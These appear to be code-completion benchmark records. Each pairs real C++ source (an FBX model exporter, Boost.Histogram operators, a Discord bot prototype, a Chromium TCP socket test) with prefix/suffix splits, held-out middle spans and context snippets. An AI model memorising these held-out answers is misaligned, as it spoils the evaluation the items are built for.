getBoneMat(v.Weights[1].Index) * v.Weights[1].Value + getBoneMat(v.Weights[2].Index) * v.Weights[2].Value + getBoneMat(v.Weights[3].Index) * v.Weights[3].Value; auto position = m.MultNormalize(v.Position); auto rot_m = m; rot_m.Set(0, 3, 0); rot_m.Set(1, 3, 0); rot_m.Set(2, 3, 0); rot_m.Set(3, 0, 0); rot_m.Set(3, 1, 0); rot_m.Set(3, 2, 0); float p[3]; p[0] = (float)(position[0]) * modelScale; p[1] = (float)(position[1]) * modelScale; p[2] = (float)(position[2]) * modelScale; v.Normal[3] = 1.0f; auto normal = rot_m.MultNormalize(v.Normal); normal.Normalize(); float n[3]; n[0] = (float)(normal[0]); n[1] = (float)(normal[1]); n[2] = (float)(normal[2]); v.Binormal[3] = 1.0f; auto binormal = rot_m.MultNormalize(v.Binormal); binormal.Normalize(); float b[3]; b[0] = (float)(binormal[0]); b[1] = (float)(binormal[1]); b[2] = (float)(binormal[2]); v.Tangent[3] = 1.0f; auto tangent = rot_m.MultNormalize(v.Tangent); tangent.Normalize(); float t[3]; t[0] = (float)(tangent[0]); t[1] = (float)(tangent[1]); t[2] = (float)(tangent[2]); float uv[2]; uv[0] = (float)(v.UV[0]); uv[1] = (float)(v.UV[1]); uint8_t c[4]; c[0] = (uint8_t)(v.VertexColor.mRed * 255); c[1] = (uint8_t)(v.VertexColor.mGreen * 255); c[2] = (uint8_t)(v.VertexColor.mBlue * 255); c[3] = (uint8_t)(v.VertexColor.mAlpha * 255); fout.write((const char*)p, sizeof(float) * 3); fout.write((const char*)n, sizeof(float) * 3); fout.write((const char*)b, sizeof(float) * 3); fout.write((const char*)t, sizeof(float) * 3); fout.write((const char*)uv, sizeof(float) * 2); fout.write((const char*)c, sizeof(uint8_t) * 4); } } fout.write((const char*)&fcount, sizeof(int32_t)); int32_t foffset = 0; for (auto& mesh : meshes) { for (auto f : mesh.Target->Faces) { int32_t i0 = f.Index[0] + foffset; int32_t i1 = f.Index[1] + foffset; int32_t i2 = f.Index[2] + foffset; fout.write((const char*)&(i0), sizeof(int32_t)); fout.write((const char*)&(i1), sizeof(int32_t)); fout.write((const char*)&(i2), sizeof(int32_t)); } foffset += mesh.Target->Vertexes.size(); } } fout.close(); } }
#include "fbxToMdl.VertexAnimation.h" #include "Utils.h" #include <fstream> #include <iostream> namespace fbxToEfkMdl { void VertexAnimation::Export(const char* path, std::shared_ptr<Scene> scene, std::shared_ptr<AnimationClip> anim, float modelScale) { auto meshes = GetAllMeshes(scene->Root); auto nodes = GetAllNodes(scene->Root, nullptr); int32_t frameCount = 1; int32_t startFrame = 0; int32_t endFrame = 1; if (anim != nullptr) { startFrame = anim->StartFrame; endFrame = anim->EndFrame; frameCount = anim->EndFrame - anim->StartFrame; } for (auto& mesh : meshes) { for (int32_t i = 0; i < mesh.Connectors.size(); i++) { for (int32_t j = 0; j < nodes.size(); j++) {
} } } if (anim != nullptr) { for (auto a : anim->Animations) { for (auto& node : nodes) { if (a->Name != node.TargetNode->Name) continue; node.Animations[(int32_t)a->Target] = a; break; } } } AssignAllDefaultGlobalMateixes(nodes); const int Version = 5; int32_t modelCount = 1; std::ofstream fout; fout.open(path, std::ios::out | std::ios::binary); if (!fout) { printf("Failed to write a file..\n"); return; } fout.write((const char*)&Version, sizeof(int32_t)); fout.write((const char*)&modelScale, sizeof(int32_t)); fout.write((const char*)&modelCount, sizeof(int32_t)); fout.write((const char*)&frameCount, sizeof(int32_t)); for (int32_t frame = startFrame; frame < endFrame; frame++) { for (auto& node : nodes) { node.AssignDefaultValues(); for (int32_t j = 0; j < 9; j++) { if (node.Animations[j] != nullptr) { node.Values[j] = node.Animations[j]->Values[frame]; } } } for (auto& node : nodes) { node.CalculateLocalMatrix(); node.MatGlobal.SetIdentity(); } CalculateAllGlobalMateixes(nodes); int32_t vcount = 0; int32_t fcount = 0; for (auto mesh : meshes) { vcount += mesh.Target->Vertexes.size(); fcount += mesh.Target->Faces.size(); } fout.write((const char*)&vcount, sizeof(int32_t)); for (auto& mesh : meshes) { fbxToEfkMdl::NodeState nodeState; for (auto node : nodes) { if (node.TargetNode == mesh.MeshNode) { nodeState = node; break; } } std::vector<FbxMatrix> boneMat; for (int32_t i = 0; i < mesh.Connectors.size(); i++) { auto m = nodes[mesh.Connectors[i].NodeIndex].MatGlobal * mesh.Target->BoneConnectors[i].OffsetMatrix * nodeState.MatGlobal * nodeState.MatGlobalDefault.Inverse(); boneMat.push_back(m); } for (auto v : mesh.Target->Vertexes) { auto getBoneMat = [&](int32_t i) -> FbxMatrix { if (i < 0) return nodeState.MatGlobal; return boneMat[i]; }; auto m = getBoneMat(v.Weights[0].Index) * v.Weights[0].Value + getBoneMat(v.Weights[1].Index) * v.Weights[1].Value + getBoneMat(v.Weights[2].Index) * v.Weights[2].Value + getBoneMat(v.Weights[3].Index) * v.Weights[3].Value; auto position = m.MultNormalize(v.Position); auto rot_m = m; rot_m.Set(0, 3, 0); rot_m.Set(1, 3, 0); rot_m.Set(2, 3, 0); rot_m.Set(3, 0, 0); rot_m.Set(3, 1, 0); rot_m.Set(3, 2, 0); float p[3]; p[0] = (float)(position[0]) * modelScale; p[1] = (float)(position[1]) * modelScale; p[2] = (float)(position[2]) * modelScale; v.Normal[3] = 1.0f; auto normal = rot_m.MultNormalize(v.Normal); normal.Normalize(); float n[3]; n[0] = (float)(normal[0]); n[1] = (float)(normal[1]); n[2] = (float)(normal[2]); v.Binormal[3] = 1.0f; auto binormal = rot_m.MultNormalize(v.Binormal); binormal.Normalize(); float b[3]; b[0] = (float)(binormal[0]); b[1] = (float)(binormal[1]); b[2] = (float)(binormal[2]); v.Tangent[3] = 1.0f; auto tangent = rot_m.MultNormalize(v.Tangent); tangent.Normalize(); float t[3]; t[0] = (float)(tangent[0]); t[1] = (float)(tangent[1]); t[2] = (float)(tangent[2]); float uv[2]; uv[0] = (float)(v.UV[0]); uv[1] = (float)(v.UV[1]); uint8_t c[4]; c[0] = (uint8_t)(v.VertexColor.mRed * 255); c[1] = (uint8_t)(v.VertexColor.mGreen * 255); c[2] = (uint8_t)(v.VertexColor.mBlue * 255); c[3] = (uint8_t)(v.VertexColor.mAlpha * 255); fout.write((const char*)p, sizeof(float) * 3); fout.write((const char*)n, sizeof(float) * 3); fout.write((const char*)b, sizeof(float) * 3); fout.write((const char*)t, sizeof(float) * 3); fout.write((const char*)uv, sizeof(float) * 2); fout.write((const char*)c, sizeof(uint8_t) * 4); } } fout.write((const char*)&fcount, sizeof(int32_t)); int32_t foffset = 0; for (auto& mesh : meshes) { for (auto f : mesh.Target->Faces) { int32_t i0 = f.Index[0] + foffset; int32_t i1 = f.Index[1] + foffset; int32_t i2 = f.Index[2] + foffset; fout.write((const char*)&(i0), sizeof(int32_t)); fout.write((const char*)&(i1), sizeof(int32_t)); fout.write((const char*)&(i2), sizeof(int32_t)); } foffset += mesh.Target->Vertexes.size(); } } fout.close(); } }
if (mesh.Target->BoneConnectors[i].Name == nodes[j].TargetNode->Name) { mesh.Connectors[i].NodeIndex = j; break; }
if_condition
[ { "content": "class Node : public std::enable_shared_from_this<Node>\n\n{\n\nprivate:\n\n\tfriend class Material;\n\n\tbool isDirtied = true;\n\n\tbool isContentDirtied = false;\n\n\tbool isPosDirtied_ = true;\n\n\n\n\tstd::weak_ptr<Material> material_;\n\n\n\npublic:\n\n\tstd::shared_ptr<NodeParameter> Paramet...
C++
boost/histogram/detail/operators.hpp
cpp-pm/boost
38c6c8c07f2fcc42d573b10807fef27ec14930f8
#ifndef BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #define BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #include <boost/histogram/detail/detect.hpp> #include <boost/mp11/algorithm.hpp> #include <boost/mp11/list.hpp> #include <boost/mp11/utility.hpp> namespace boost { namespace histogram { namespace detail { template <class T, class U> using if_not_same_and_has_eq = std::enable_if_t<(!std::is_same<T, U>::value && has_method_eq<T, U>::value), bool>; template <class T, class U> struct mirrored { friend bool operator<(const U& a, const T& b) noexcept { return b > a; } friend bool operator>(const U& a, const T& b) noexcept { return b < a; } friend bool operator==(const U& a, const T& b) noexcept { return b == a; } friend bool operator<=(const U& a, const T& b) noexcept { return b >= a; } friend bool operator>=(const U& a, const T& b) noexcept { return b <= a; } friend bool operator!=(const U& a, const T& b) noexcept { return b != a; } }; template <class T> struct mirrored<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator<(const U& a, const T& b) noexcept { return b > a; } template <class U> friend if_not_same_and_has_eq<T, U> operator>(const U& a, const T& b) noexcept { return b < a; } template <class U> friend if_not_same_and_has_eq<T, U> operator==(const U& a, const T& b) noexcept { return b == a; } template <class U> friend if_not_same_and_has_eq<T, U> operator<=(const U& a, const T& b) noexcept { return b >= a; } template <class U> friend if_not_same_and_has_eq<T, U> operator>=(const U& a, const T& b) noexcept { return b <= a; } template <class U> friend if_not_same_and_has_eq<T, U> operator!=(const U& a, const T& b) noexcept { return b != a; } }; template <class T> struct mirrored<T, T> { friend bool operator>(const T& a, const T& b) noexcept { return b.operator<(a); } }; template <class T, class U> struct equality { friend bool operator!=(const T& a, const U& b) noexcept { return !a.operator==(b); } }; template <class T> struct equality<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator!=(const T& a, const U& b) noexcept { return !(a == b); } }; template <class T, class U> struct totally_ordered_impl : equality<T, U>, mirrored<T, U> { friend bool operator<=(const T& a, const U& b) noexcept { return !(a > b); } friend bool operator>=(const T& a, const U& b) noexcept { return !(a < b); } }; template <class T> struct totally_ordered_impl<T, void> : equality<T, void>, mirrored<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator<=(const T& a, const U& b) noexcept { return !(a > b); } template <class U> friend if_not_same_and_has_eq<T, U> operator>=(const T& a, const U& b) noexcept { return !(a < b); } }; template <class T, class... Ts> using totally_ordered = mp11::mp_rename< mp11::mp_product<totally_ordered_impl, mp11::mp_list<T>, mp11::mp_list<Ts...> >, mp11::mp_inherit>; template <class T, class U> struct partially_ordered_impl : equality<T, U>, mirrored<T, U> { friend bool operator<=(const T& a, const U& b) noexcept { return a < b || a == b; } friend bool operator>=(const T& a, const U& b) noexcept { return a > b || a == b; } }; template <class T> struct partially_ordered_impl<T, void> : equality<T, void>, mirrored<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator<=(const T& a, const U& b) noexcept { return a < b || a == b; } template <class U> friend if_not_same_and_has_eq<T, U> operator>=(const T& a, const U& b) noexcept { return a > b || a == b; } }; template <class T, class... Ts> using partially_ordered = mp11::mp_rename< mp11::mp_product<partially_ordered_impl, mp11::mp_list<T>, mp11::mp_list<Ts...> >, mp11::mp_inherit>; } } } #endif
#ifndef BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #define BOOST_HISTOGRAM_DETAIL_OPERATORS_HPP #include <boost/histogram/detail/detect.hpp> #include <boost/mp11/algorithm.hpp> #include <boost/mp11/list.hpp> #include <boost/mp11/utility.hpp> namespace boost { namespace histogram { namespace detail { template <class T, class U> using if_not_same_and_has_eq = std::enable_if_t<(!std::is_same<T, U>::value && has_method_eq<T, U>::value), bool>; template <class T, class U> s
noexcept { return b > a; } template <class U> friend if_not_same_and_has_eq<T, U> operator>(const U& a, const T& b) noexcept { return b < a; } template <class U> friend if_not_same_and_has_eq<T, U> operator==(const U& a, const T& b) noexcept { return b == a; } template <class U> friend if_not_same_and_has_eq<T, U> operator<=(const U& a, const T& b) noexcept { return b >= a; } template <class U> friend if_not_same_and_has_eq<T, U> operator>=(const U& a, const T& b) noexcept { return b <= a; } template <class U> friend if_not_same_and_has_eq<T, U> operator!=(const U& a, const T& b) noexcept { return b != a; } }; template <class T> struct mirrored<T, T> { friend bool operator>(const T& a, const T& b) noexcept { return b.operator<(a); } }; template <class T, class U> struct equality { friend bool operator!=(const T& a, const U& b) noexcept { return !a.operator==(b); } }; template <class T> struct equality<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator!=(const T& a, const U& b) noexcept { return !(a == b); } }; template <class T, class U> struct totally_ordered_impl : equality<T, U>, mirrored<T, U> { friend bool operator<=(const T& a, const U& b) noexcept { return !(a > b); } friend bool operator>=(const T& a, const U& b) noexcept { return !(a < b); } }; template <class T> struct totally_ordered_impl<T, void> : equality<T, void>, mirrored<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator<=(const T& a, const U& b) noexcept { return !(a > b); } template <class U> friend if_not_same_and_has_eq<T, U> operator>=(const T& a, const U& b) noexcept { return !(a < b); } }; template <class T, class... Ts> using totally_ordered = mp11::mp_rename< mp11::mp_product<totally_ordered_impl, mp11::mp_list<T>, mp11::mp_list<Ts...> >, mp11::mp_inherit>; template <class T, class U> struct partially_ordered_impl : equality<T, U>, mirrored<T, U> { friend bool operator<=(const T& a, const U& b) noexcept { return a < b || a == b; } friend bool operator>=(const T& a, const U& b) noexcept { return a > b || a == b; } }; template <class T> struct partially_ordered_impl<T, void> : equality<T, void>, mirrored<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator<=(const T& a, const U& b) noexcept { return a < b || a == b; } template <class U> friend if_not_same_and_has_eq<T, U> operator>=(const T& a, const U& b) noexcept { return a > b || a == b; } }; template <class T, class... Ts> using partially_ordered = mp11::mp_rename< mp11::mp_product<partially_ordered_impl, mp11::mp_list<T>, mp11::mp_list<Ts...> >, mp11::mp_inherit>; } } } #endif
truct mirrored { friend bool operator<(const U& a, const T& b) noexcept { return b > a; } friend bool operator>(const U& a, const T& b) noexcept { return b < a; } friend bool operator==(const U& a, const T& b) noexcept { return b == a; } friend bool operator<=(const U& a, const T& b) noexcept { return b >= a; } friend bool operator>=(const U& a, const T& b) noexcept { return b <= a; } friend bool operator!=(const U& a, const T& b) noexcept { return b != a; } }; template <class T> struct mirrored<T, void> { template <class U> friend if_not_same_and_has_eq<T, U> operator<(const U& a, const T& b)
random
[]
C++
MyBot/MyBot.cpp
Sijumah/Sijdiscbot
c58433b1bcaacc17ee17637c2daa6ce07d6d4120
#pragma once #include <iostream> #include <string> #include <fstream> std::string get_token() { std::ifstream reader("C:\\Users\\Sijumah\\Desktop\\discordtoken.txt",std::ifstream::in); std::string answer; std::getline(reader, answer); reader.close(); return answer; }; std::string Sbot_token = get_token(); #define mainver 1 #define buttontestver 2 #define messagetestver 3 #define menutestver 4 #define manybuttonver 5 #define blankver 6 #define selector blankver//mainver #if selector == blankver int main() { return 0; }; #endif #if selector == mainver #include "discord_profile_filesystem.hpp" #include <random> #include <array> int main() { std::array<int,6> boo{ 0,0,0,0,0,0 }; std::uniform_int_distribution<> distrib(1, 6); std::random_device rd; std::mt19937 gen(rd()); for (int i = 70000; i != 0; i--) { auto res = distrib(gen); boo.at(res)++; std::cout << res << std::endl; } hvylog("hi") return 0; }; #endif #if selector == manybuttonver #include <dpp/dpp.h> using json = nlohmann::json; int main() { dpp::cluster bot(Sbot_token); bot.on_button_click([&bot](const dpp::button_click_t& event) { if (event.custom_id == "10") { event.reply(dpp::ir_channel_message_with_source, dpp::message("Correct").set_flags(dpp::m_ephemeral)); } else { event.reply(dpp::ir_channel_message_with_source, dpp::message("Incorrect").set_flags(dpp::m_urgent)); } }); bot.on_message_create([&bot](const dpp::message_create_t& event) { if (event.msg.content == "!ping2") { bot.message_create( dpp::message(event.msg.channel_id, "What is 5+5?").add_component( dpp::component().add_component( dpp::component().set_label("9"). set_style(dpp::cos_primary). set_id("9") ).add_component( dpp::component().set_label("10"). set_style(dpp::cos_primary). set_id("10") ).add_component( dpp::component().set_label("11"). set_style(dpp::cos_primary). set_id("11") ) ) ); } }); bot.start(false); return 0; } #endif #if selector == menutestver #include <dpp/dpp.h> using json = nlohmann::json; int main() { dpp::cluster bot(Sbot_token); bot.on_message_create([&bot](const dpp::message_create_t& event) { if (event.msg.content == "!select") { dpp::message m(event.msg.channel_id, "this text has a select menu"); m.add_component( dpp::component().add_component( dpp::component().set_type(dpp::cot_selectmenu). set_placeholder("Pick something"). add_select_option(dpp::select_option("label1", "value1", "description1")). add_select_option(dpp::select_option("label2", "value2", "description2")). set_id("myselid") ) ); bot.message_create(m); } }); bot.on_select_click([&bot](const dpp::select_click_t& event) { event.reply(dpp::ir_channel_message_with_source, "You clicked " + event.custom_id + " and chose: " + event.values[0]); }); bot.on_log([](const dpp::log_t& event) { if (event.severity > dpp::ll_trace) { std::cout << event.message << "\n"; } }); bot.start(false); return 0; } #endif #if selector == buttontestver #include <dpp/dpp.h> #include <iostream> #include <dpp/message.h> int main() { dpp::cluster bot(Sbot_token); bot.on_ready([&bot](const dpp::ready_t& event) { bot.log(dpp::ll_info, "Logged in as " + bot.me.username); }); bot.on_message_create([&bot](const dpp::message_create_t & event) { if (event.msg.content == "!ping") { bot.message_create(dpp::message(event.msg.channel_id, "Pong!")); } if (event.msg.content == "!button") { bot.message_create( dpp::message(event.msg.channel_id, "this text has buttons").add_component( dpp::component().add_component( dpp::component().set_label("Click me!"). set_type(dpp::cot_button). set_style(dpp::cos_danger). set_id("myid") ) ).add_component(dpp::component().add_component(dpp::component().set_label("Click meee").set_type(dpp::cot_button).set_style(dpp::cos_secondary).set_id("mrow"))) ); } }); bot.on_button_click([&bot](const dpp::button_click_t & event) { event.reply(dpp::ir_channel_message_with_source, "You clicked: " + event.custom_id); }); bot.start(false); return 0; } #endif #if selector == messagetestver #include <dpp/dpp.h> #include <iostream> int main() { try { dpp::cluster bot(Sbot_token); bot.on_ready([&bot](const dpp::ready_t& event) { bot.log(dpp::ll_info, "Logged in as " + bot.me.username); }); bot.on_message_create([&bot](const dpp::message_create_t& event) { if (event.msg.content == "!ping") { bot.message_create(dpp::message(event.msg.channel_id, "Pong!")); } }); bot.on_log([](const dpp::log_t& event) { if (event.severity > dpp::ll_trace) { std::cout << dpp::utility::loglevel(event.severity) << ": " << event.message << "\n"; } }); bot.start(false); } catch (const std::exception& e) { std::cout << "Error: " << e.what() << "\n"; } return 0; } #endif
#pragma once #include <iostream> #include <string> #include <fstream> std::string get_token() { std::ifstream reader("C:\\Users\\Sijumah\\Desktop\\discordtoken.txt",std::ifstream::in); std::string answer; std::getline(reader, answer); reader.close(); return answer; }; std::string Sbot_token = get_token(); #define mainver 1 #define buttontestver 2 #define messagetestver 3 #define menutestver 4 #define manybuttonver 5 #define blankver 6 #define selector blankver//mainver #if selector == blankver int main() { return 0; }; #endif #if selector == mainver #include "discord_profile_filesystem.hpp" #include <random> #include <array> int main() { std::array<int,6> boo{ 0,0,0,0,0,0 }; std::uniform_int_distribution<> distrib(1, 6); std::random_device rd; std::mt19937 gen(rd()); for (int i = 70000; i != 0; i--) { auto res = distrib(gen); boo.at(res)++; std::cout << res << std::endl; } hvylog("hi") return 0; }; #endif #if selector == manybuttonver #include <dpp/dpp.h> using json = nlohmann::json; int main() { dpp::cluster bot(Sbot_token); bot.on_button_click([&bot](const dpp::button_click_t& event) { if (event.custom_id == "10") { event.reply(dpp::ir_channel_message_with_source, dpp::message("Correct").set_flags(dpp::m_ephemeral)); } else { event.reply(dpp::ir_channel_message_with_source, dpp::message("Incorrect").set_flags(dpp::m_urgent)); } }); bot.on_message_create([&bot](const dpp::message_create_t& event) { if (event.msg.content == "!ping2") { bot.message_create( dpp::message(event.msg.channel_id, "What is 5+5?").add_component( dpp::component().add_component( dpp::component().set_label("9"). set_style(dpp::cos_primary). set_id("9") ).add_component( dpp::component().set_label("10"). set_style(dpp::cos_primary). set_id("10") ).add_component( dpp::component().set_label("11"). set_style(dpp::cos_primary). set_id("11") ) ) ); } }); bot.start(false); return 0; } #endif #if selector == menutestver #include <dpp/dpp.h> using json = nlohmann::json; int main() { dpp::cluster bot(Sbot_token); bot.on_message_create([&bot](const dpp::message_create_t& event) {
}); bot.on_select_click([&bot](const dpp::select_click_t& event) { event.reply(dpp::ir_channel_message_with_source, "You clicked " + event.custom_id + " and chose: " + event.values[0]); }); bot.on_log([](const dpp::log_t& event) { if (event.severity > dpp::ll_trace) { std::cout << event.message << "\n"; } }); bot.start(false); return 0; } #endif #if selector == buttontestver #include <dpp/dpp.h> #include <iostream> #include <dpp/message.h> int main() { dpp::cluster bot(Sbot_token); bot.on_ready([&bot](const dpp::ready_t& event) { bot.log(dpp::ll_info, "Logged in as " + bot.me.username); }); bot.on_message_create([&bot](const dpp::message_create_t & event) { if (event.msg.content == "!ping") { bot.message_create(dpp::message(event.msg.channel_id, "Pong!")); } if (event.msg.content == "!button") { bot.message_create( dpp::message(event.msg.channel_id, "this text has buttons").add_component( dpp::component().add_component( dpp::component().set_label("Click me!"). set_type(dpp::cot_button). set_style(dpp::cos_danger). set_id("myid") ) ).add_component(dpp::component().add_component(dpp::component().set_label("Click meee").set_type(dpp::cot_button).set_style(dpp::cos_secondary).set_id("mrow"))) ); } }); bot.on_button_click([&bot](const dpp::button_click_t & event) { event.reply(dpp::ir_channel_message_with_source, "You clicked: " + event.custom_id); }); bot.start(false); return 0; } #endif #if selector == messagetestver #include <dpp/dpp.h> #include <iostream> int main() { try { dpp::cluster bot(Sbot_token); bot.on_ready([&bot](const dpp::ready_t& event) { bot.log(dpp::ll_info, "Logged in as " + bot.me.username); }); bot.on_message_create([&bot](const dpp::message_create_t& event) { if (event.msg.content == "!ping") { bot.message_create(dpp::message(event.msg.channel_id, "Pong!")); } }); bot.on_log([](const dpp::log_t& event) { if (event.severity > dpp::ll_trace) { std::cout << dpp::utility::loglevel(event.severity) << ": " << event.message << "\n"; } }); bot.start(false); } catch (const std::exception& e) { std::cout << "Error: " << e.what() << "\n"; } return 0; } #endif
if (event.msg.content == "!select") { dpp::message m(event.msg.channel_id, "this text has a select menu"); m.add_component( dpp::component().add_component( dpp::component().set_type(dpp::cot_selectmenu). set_placeholder("Pick something"). add_select_option(dpp::select_option("label1", "value1", "description1")). add_select_option(dpp::select_option("label2", "value2", "description2")). set_id("myselid") ) ); bot.message_create(m); }
if_condition
[ { "content": " function is called on a JSON null value, an empty array is created before\n\n appending @a val.\n\n\n\n @param[in] val the value to add to the JSON array\n\n\n\n @throw type_error.308 when called on a type other than JSON array or\n\n null; example: `\"cannot use push_back() with n...
C++
net/socket/tcp_socket_unittest.cc
google-ar/chromium
2441c86a5fd975f09a6c30cddb57dfb7fc239699
#include "net/socket/tcp_socket.h" #include <stddef.h> #include <string.h> #include <memory> #include <string> #include <vector> #include "base/memory/ref_counted.h" #include "base/test/simple_test_tick_clock.h" #include "base/time/time.h" #include "net/base/address_list.h" #include "net/base/io_buffer.h" #include "net/base/ip_endpoint.h" #include "net/base/net_errors.h" #include "net/base/sockaddr_storage.h" #include "net/base/test_completion_callback.h" #include "net/log/net_log_source.h" #include "net/socket/socket_performance_watcher.h" #include "net/socket/tcp_client_socket.h" #include "net/test/gtest_util.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" #include "testing/platform_test.h" using net::test::IsOk; namespace net { namespace { class TestSocketPerformanceWatcher : public SocketPerformanceWatcher { public: explicit TestSocketPerformanceWatcher(bool should_notify_updated_rtt) : should_notify_updated_rtt_(should_notify_updated_rtt), connection_changed_count_(0u), rtt_notification_count_(0u) {} ~TestSocketPerformanceWatcher() override {} bool ShouldNotifyUpdatedRTT() const override { return should_notify_updated_rtt_; } void OnUpdatedRTTAvailable(const base::TimeDelta& rtt) override { rtt_notification_count_++; } void OnConnectionChanged() override { connection_changed_count_++; } size_t rtt_notification_count() const { return rtt_notification_count_; } size_t connection_changed_count() const { return connection_changed_count_; } private: const bool should_notify_updated_rtt_; size_t connection_changed_count_; size_t rtt_notification_count_; DISALLOW_COPY_AND_ASSIGN(TestSocketPerformanceWatcher); }; const int kListenBacklog = 5; class TCPSocketTest : public PlatformTest { protected: TCPSocketTest() : socket_(NULL, NULL, NetLogSource()) {} void SetUpListenIPv4() { ASSERT_THAT(socket_.Open(ADDRESS_FAMILY_IPV4), IsOk()); ASSERT_THAT(socket_.Bind(IPEndPoint(IPAddress::IPv4Localhost(), 0)), IsOk()); ASSERT_THAT(socket_.Listen(kListenBacklog), IsOk()); ASSERT_THAT(socket_.GetLocalAddress(&local_address_), IsOk()); } void SetUpListenIPv6(bool* success) { *success = false; if (socket_.Open(ADDRESS_FAMILY_IPV6) != OK || socket_.Bind(IPEndPoint(IPAddress::IPv6Localhost(), 0)) != OK || socket_.Listen(kListenBacklog) != OK) { LOG(ERROR) << "Failed to listen on ::1 - probably because IPv6 is " "disabled. Skipping the test"; return; } ASSERT_THAT(socket_.GetLocalAddress(&local_address_), IsOk()); *success = true; } void TestAcceptAsync() { TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; ASSERT_EQ(ERR_IO_PENDING, socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback())); TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); EXPECT_THAT(accept_callback.WaitForResult(), IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); } #if defined(TCP_INFO) || defined(OS_LINUX) void TestSPWNotifications(const base::TimeDelta& advance_ticks, bool should_notify_updated_rtt, size_t num_messages, size_t expect_connection_changed_count, size_t expect_rtt_notification_count) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); std::unique_ptr<base::SimpleTestTickClock> tick_clock( new base::SimpleTestTickClock()); base::SimpleTestTickClock* tick_clock_ptr = tick_clock.get(); tick_clock_ptr->SetNowTicks(base::TimeTicks::Now()); TestCompletionCallback connect_callback; std::unique_ptr<TestSocketPerformanceWatcher> watcher( new TestSocketPerformanceWatcher(should_notify_updated_rtt)); TestSocketPerformanceWatcher* watcher_ptr = watcher.get(); TCPSocket connecting_socket(std::move(watcher), NULL, NetLogSource()); connecting_socket.SetTickClockForTesting(std::move(tick_clock)); int result = connecting_socket.Open(ADDRESS_FAMILY_IPV4); ASSERT_THAT(result, IsOk()); connecting_socket.Connect(local_address_, connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); ASSERT_THAT(accept_callback.GetResult(result), IsOk()); ASSERT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); ASSERT_THAT(connect_callback.WaitForResult(), IsOk()); for (size_t i = 0; i < num_messages; ++i) { tick_clock_ptr->Advance(advance_ticks); const std::string message("t"); scoped_refptr<IOBufferWithSize> write_buffer( new IOBufferWithSize(message.size())); memmove(write_buffer->data(), message.data(), message.size()); TestCompletionCallback write_callback; int write_result = accepted_socket->Write( write_buffer.get(), write_buffer->size(), write_callback.callback()); scoped_refptr<IOBufferWithSize> read_buffer( new IOBufferWithSize(message.size())); TestCompletionCallback read_callback; int read_result = connecting_socket.Read( read_buffer.get(), read_buffer->size(), read_callback.callback()); ASSERT_EQ(1, write_callback.GetResult(write_result)); ASSERT_EQ(1, read_callback.GetResult(read_result)); } EXPECT_EQ(expect_connection_changed_count, watcher_ptr->connection_changed_count()); EXPECT_EQ(expect_rtt_notification_count, watcher_ptr->rtt_notification_count()); } #endif AddressList local_address_list() const { return AddressList(local_address_); } TCPSocket socket_; IPEndPoint local_address_; }; TEST_F(TCPSocketTest, Accept) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; int result = socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback()); if (result == ERR_IO_PENDING) result = accept_callback.WaitForResult(); ASSERT_THAT(result, IsOk()); EXPECT_TRUE(accepted_socket.get()); EXPECT_EQ(accepted_address.address(), local_address_.address()); EXPECT_THAT(connect_callback.WaitForResult(), IsOk()); } TEST_F(TCPSocketTest, AcceptAsync) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestAcceptAsync(); } #if defined(OS_WIN) TEST_F(TCPSocketTest, AcceptForAdoptedListenSocket) { SOCKET existing_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ASSERT_THAT(socket_.AdoptListenSocket(existing_socket), IsOk()); IPEndPoint address(IPAddress::IPv4Localhost(), 0); SockaddrStorage storage; ASSERT_TRUE(address.ToSockAddr(storage.addr, &storage.addr_len)); ASSERT_EQ(0, bind(existing_socket, storage.addr, storage.addr_len)); ASSERT_THAT(socket_.Listen(kListenBacklog), IsOk()); ASSERT_THAT(socket_.GetLocalAddress(&local_address_), IsOk()); TestAcceptAsync(); } #endif TEST_F(TCPSocketTest, Accept2Connections) { ASSERT_NO_FATAL_FAILURE(SetUpListenIPv4()); TestCompletionCallback accept_callback; std::unique_ptr<TCPSocket> accepted_socket; IPEndPoint accepted_address; ASSERT_EQ(ERR_IO_PENDING, socket_.Accept(&accepted_socket, &accepted_address, accept_callback.callback())); TestCompletionCallback connect_callback; TCPClientSocket connecting_socket(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket.Connect(connect_callback.callback()); TestCompletionCallback connect_callback2; TCPClientSocket connecting_socket2(local_address_list(), NULL, NULL, NetLogSource()); connecting_socket2.Connect(connect_callback2.callback()); EXPECT_THAT(accept_callback.WaitForResult(), IsOk()); TestCompletionCallback accept_callback2; std::unique_ptr<TCPSocket> accepted_socket2; IPEndPoint accepted_address2; int result = socket_.Accept(&accepted_socket2, &accepted_address2, accept_callback2.callback()); if (result == ERR_IO_PENDING) result = accept_callback2.WaitForResult(); ASSERT_THAT(result, IsOk()); 